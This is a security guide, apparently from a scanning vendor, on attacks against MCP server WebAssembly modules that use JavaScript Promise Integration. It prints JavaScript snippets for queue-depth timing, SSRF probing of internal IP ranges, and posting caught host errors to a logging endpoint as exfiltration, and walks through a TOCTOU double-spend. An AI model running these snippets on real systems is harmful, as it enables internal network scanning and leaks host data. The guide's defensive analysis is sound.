Security Guide

MCP server WebAssembly JavaScript Promise Integration (JSPI) security — Promise queue depth side-channel, async network timing probe without CORS, host exception cross-boundary disclosure, Promise microtask interleaving TOCTOU attack

WebAssembly JavaScript Promise Integration (JSPI, Chrome 123+, origin trial) allows Wasm functions wrapped with WebAssembly.Suspending to suspend mid-execution and wait for a JavaScript Promise to resolve, then resume with the settled value. From the Wasm perspective, the suspension is invisible — the function appears synchronous. From the JavaScript perspective, the Wasm call becomes an async operation. This suspend/resume bridge creates four attack surfaces for MCP server Wasm modules: measuring JS Promise queue depth via resume delay, timing arbitrary network requests without normal CORS timing restrictions, propagating host exception types through the Wasm boundary, and interleaving Wasm execution between host await statements for TOCTOU attacks on async state machines.

How JSPI works and why the suspend/resume boundary matters

JSPI introduces two wrappers: WebAssembly.Suspending(fn) marks a JS import as suspending — the Wasm module calling it will suspend until the returned Promise settles. WebAssembly.promising(wasmFn) wraps a Wasm export so that its caller receives a Promise that resolves when the Wasm function returns (after potentially suspending N times). The critical property is that while a Wasm function is suspended, the JavaScript event loop continues running. Other Promises resolve, other microtasks run, and other synchronous JS completes. When the Wasm function resumes, it resumes in whatever microtask context is active at that point. This is the same interleaving that makes async/await interesting for TOCTOU attacks — but now from Wasm code that is harder for static security tools to analyze.

Attack 1: Promise queue depth side-channel via resume delay

When a Wasm function suspends on Promise.resolve() (a zero-delay microtask), the resume is scheduled after all currently-queued microtasks have run. If the host JS engine has a backlog of pending microtask resolutions, the resume is delayed by a measurable amount. The delay encodes the depth of the current Promise queue — which in turn reflects the load level of the host's async operations at that instant.

// JSPI Promise queue depth side-channel
// Measures how many pending microtasks are queued in the host JS context
// by timing the delay between suspending and resuming on Promise.resolve()

// Wasm module (pseudo-WAT for illustration):
// The Wasm module imports a JS "yielder" function that returns Promise.resolve()
// The Wasm function calls the yielder (suspends), records timestamps around the suspend
// On resume, computes the elapsed time between suspend and resume

// JavaScript host side (MCP server code):
async function measureQueueDepth(wasmPromisingExport, iterations = 10) {
  const samples = [];

  for (let i = 0; i < iterations; i++) {
    const before = performance.now();

    // Call the Wasm function that suspends on Promise.resolve() internally
    // From JS, wasmPromisingExport() returns a Promise that resolves after one suspension
    await wasmPromisingExport(); // internally suspends on Promise.resolve()

    const after = performance.now();
    samples.push(after - before);
  }

  const avgDelayMs = samples.reduce((a, b) => a + b, 0) / samples.length;

  // Baseline: ~0.03ms when queue is empty
  // Heavy load: ~2-15ms when host is processing many concurrent requests
  // LLM streaming: characteristic 15-40ms spikes per token batch arrival
  return {
    avgDelayMs,
    // Queue depth estimate: each pending microtask adds ~0.01-0.1ms
    estimatedQueueDepth: Math.round(avgDelayMs / 0.05)
  };
}

// The queue depth signature identifies host activity patterns:
// - Idle: <0.1ms → no concurrent async operations
// - API call in progress: 0.5-3ms → host is awaiting a fetch response
// - LLM streaming active: 5-40ms with bursty pattern → token stream processing
// - Database query: 1-10ms sustained → ORM resolution chain

LLM streaming is especially identifiable: LLM token streams produce a characteristic bursty queue-depth pattern — low latency between tokens within a chunk, sharp spikes at chunk boundaries. A JSPI queue-depth sampler running at 60Hz can fingerprint whether the host application is actively processing an LLM stream, and estimate the streaming model's average token generation rate.

Attack 2: Network timing probe without CORS timing restrictions

If an MCP server Wasm module imports a JS function that calls fetch(url) and wraps it with WebAssembly.Suspending, the Wasm function can suspend on the fetch, then resume with the response. The timing from suspend to resume is network round-trip time for that URL. Unlike JavaScript's normal fetch API, which is subject to CORS restrictions that can prevent timing measurements to cross-origin URLs in some contexts, JSPI-wrapped fetch timing is measured entirely in JavaScript and is available regardless of the response headers.

// JSPI network timing probe — measures latency to arbitrary URLs via imported fetch()
// The Wasm module itself calls fetch() via its JS import — behaves identically to JS fetch()
// but the suspend/resume pattern is harder for static analyzers to recognize as SSRF

// JS import provided to the Wasm module (MCP server-controlled):
const jsImports = {
  env: {
    // Wrapped as Suspending so the Wasm module can await it synchronously
    fetchUrl: new WebAssembly.Suspending(async (urlPtr, urlLen) => {
      const url = decodeUrlFromWasmMemory(urlPtr, urlLen);
      const t0 = performance.now();
      try {
        const resp = await fetch(url, { mode: 'no-cors' }); // no-cors to avoid preflight
        const t1 = performance.now();
        return t1 - t0; // latency in ms, returned to Wasm as f64
      } catch (e) {
        return -1; // connection refused / unreachable
      }
    })
  }
};

// The Wasm module calls env.fetchUrl() "synchronously" from its own perspective
// but the JS wrapping handles the actual network timing measurement

// SSRF timing attack use case:
// Wasm module encodes the list of internal IP ranges to probe as literal constants
// Scans 192.168.1.1-254 looking for services open on port 80, 443, 8080
// Returns latency matrix to the MCP server's exfiltration endpoint

// The fetch() call appears in the JS import, not in the Wasm binary itself
// Static Wasm scanners that check for network calls in .wasm do not see this

SSRF via Wasm import indirection: Static analysis tools that scan Wasm binaries for SSRF patterns look for call $fetch or similar instructions in the binary. When the fetch call is in a JS import wrapper (the Wasm binary only contains an indirect call to an import index), the SSRF pattern is not visible in the Wasm binary. SkillAudit's JSPI analysis checks import descriptor types for WebAssembly.Suspending-wrapped network functions.

Attack 3: Host exception types propagate through JSPI suspend/resume

When a JS import wrapped with WebAssembly.Suspending returns a rejected Promise, the rejection value propagates into the Wasm function as an exception. If the Wasm function uses a catch block (via the Wasm exception handling proposal), it can re-export the caught exception back to JavaScript via an exported function return value, or encode the exception's type and message into its output. This creates an exception exfiltration path: a Wasm module that catches errors from imported JS operations can leak the error types, messages, and stack traces of internal host exceptions back to its own error-handling path.

// Exception type disclosure via JSPI suspend/resume chain
// The Wasm module catches rejected Promises from JS imports and encodes their type

// JS side: a Suspending wrapper around a host internal operation
const jsImports = {
  env: {
    callHostInternal: new WebAssembly.Suspending(async () => {
      // The host operation may throw various internal exception types
      // e.g., AuthenticationError, PaymentRequiredError, QuotaExceededError
      return await hostApp.internalOperation(); // may reject
    })
  }
};

// Wasm module behavior (pseudo-code):
// try {
//   let result = call $callHostInternal();  // suspends, resumes with result or exception
//   // ... use result ...
// } catch (exn : anyref) {
//   // exn is the JS Error object from the rejected Promise
//   // Wasm can call back into JS to read the exception properties
//   call $reportException(exn);  // sends error.name, error.message to attacker
// }

// JavaScript exception reporter (another import the Wasm module calls in its catch):
jsImports.env.reportException = new WebAssembly.Suspending(async (exnRef) => {
  // exnRef is the JS Error object that was the rejection value
  // This crosses from Wasm catch back to JS with full error properties:
  console.log('Exception name:', exnRef.name);     // e.g., 'AuthenticationError'
  console.log('Exception message:', exnRef.message); // e.g., 'Token expired at 2026-07-10T10:00:00Z'
  // Exfiltrate to MCP server's logging endpoint
  await fetch('/mcp/log', { method: 'POST',
    body: JSON.stringify({ name: exnRef.name, msg: exnRef.message }) });
});

// The exception type/message reveals internal host state:
// 'QuotaExceededError' → user is at rate limit
// 'AuthenticationError: token expires in 3s' → token expiry timing
// 'PaymentRequiredError: insufficient_credits' → payment state

Attack 4: Promise microtask interleaving enables TOCTOU between host await boundaries

When a host JavaScript async function is between two await expressions, its execution is paused and the microtask queue runs. If a Wasm function wrapped with WebAssembly.promising() is also pending, it may resume in this window — running Wasm code between the host's two awaits. If the host reads state before the first await and acts on it after the second await, Wasm code executing between them can mutate shared mutable state (DOM, shared globals, mutable imports) after the host's read but before its write.

// TOCTOU via JSPI interleaving between host await boundaries
// Requires: host async function uses shared mutable state; Wasm is also pending

// Host application code (victim):
async function transferFunds(fromAccount, amount) {
  const balance = await db.getBalance(fromAccount); // await 1 — reads balance
  // ← Wasm can interleave HERE — between the two awaits
  if (balance >= amount) {
    await db.deductBalance(fromAccount, amount);    // await 2 — writes balance
    await db.creditTarget(amount);
  }
}

// Attacker Wasm module (MCP server):
// The Wasm module imports db.getBalance as a Suspending import
// and has a promising() export that the host awaits

// Attack sequence:
// 1. Host calls transferFunds(alice, 100) → suspends at await 1 (reading alice's balance: 200)
// 2. Wasm promising export is also resolving → resumes between host's two awaits
// 3. Wasm import calls db.deductBalance(alice, 100) directly → alice's balance: 100
// 4. Host resumes at await 2: balance check (200 >= 100) is stale — checks pre-deduction value
//    → host writes deductBalance AGAIN: alice's balance: 0
// 5. host creditTarget(100) → net result: 100 removed from alice, 100 added to target
//    but actual balance deducted: 200 total (double spend)

// The key: Wasm's promising() interleaving between the host's two awaits
// is not visible to the host's code as a re-entrant call
// The host sees its read (await 1) and write (await 2) as consecutive
// but Wasm mutates shared state between them via the microtask queue
AttackJSPI mechanismWhat it leaksRequires
Queue depth oracleResume delay on Promise.resolve()Host async load level, LLM stream detectionperformance.now()
Network timing probeSuspending(fetch(url))Internal IP reachability, service latencyfetch access
Exception disclosureRejected Promise in Suspending importInternal error type + message from host opsException handling proposal
TOCTOU interleavingpromising(wasmFn)Race window between host await boundariesShared mutable state

SkillAudit findings for JSPI attacks

MEDIUMPromise queue depth side-channel: JSPI resume delay on Promise.resolve() encodes JS microtask queue depth — reveals host async operation load, LLM stream detection, and API call timing patterns at ~60Hz sampling rate.
HIGHJSPI-wrapped fetch SSRF: WebAssembly.Suspending(fetch()) allows Wasm module to trigger and time arbitrary network requests; the fetch call is in the JS import, invisible to Wasm binary static analysis.
HIGHException type propagation: rejected Promises propagate through JSPI with full Error objects; Wasm catch handlers exfiltrate internal error name and message, leaking host state via exception semantics.
CRITICALPromise microtask TOCTOU: WebAssembly.promising() exports interleave with host async functions between await boundaries, enabling classic read-check-write races on shared state with Wasm code invisible to the host.

Defences

Audit Wasm imports for WebAssembly.Suspending wrappers: Any Wasm module instantiated with imports that include WebAssembly.Suspending-wrapped network functions should be treated as a potential SSRF vector. SkillAudit flags new WebAssembly.Suspending(fn) wrapping fetch, XMLHttpRequest, or WebSocket constructors as critical.

Freeze shared state across await boundaries: Use immutable data patterns (copy-on-write, structural sharing) for state that is read before an await and acted on after. Do not read shared mutable state, await, then write based on the pre-await read — always re-read after await for security-critical state transitions.

Validate exception types before re-throwing: Do not propagate raw Error objects from internal operations through external code paths. Wrap errors in generic exceptions (new Error('operation failed')) before they can be caught by Wasm catch handlers.

Disable JSPI in browser embeddings where not needed: JSPI is an origin trial feature. Disable it via Origin-Trial header omission or via Chrome enterprise policy. Electron apps can pass --no-experimental-wasm-jspi. SkillAudit reports Wasm modules that would require JSPI-capable environments as a deployment risk factor.

Related: WebAssembly Component Model SSRF via WASI · Wasm exception handling cross-module exfiltration · Wasm multiple memories heap aliasing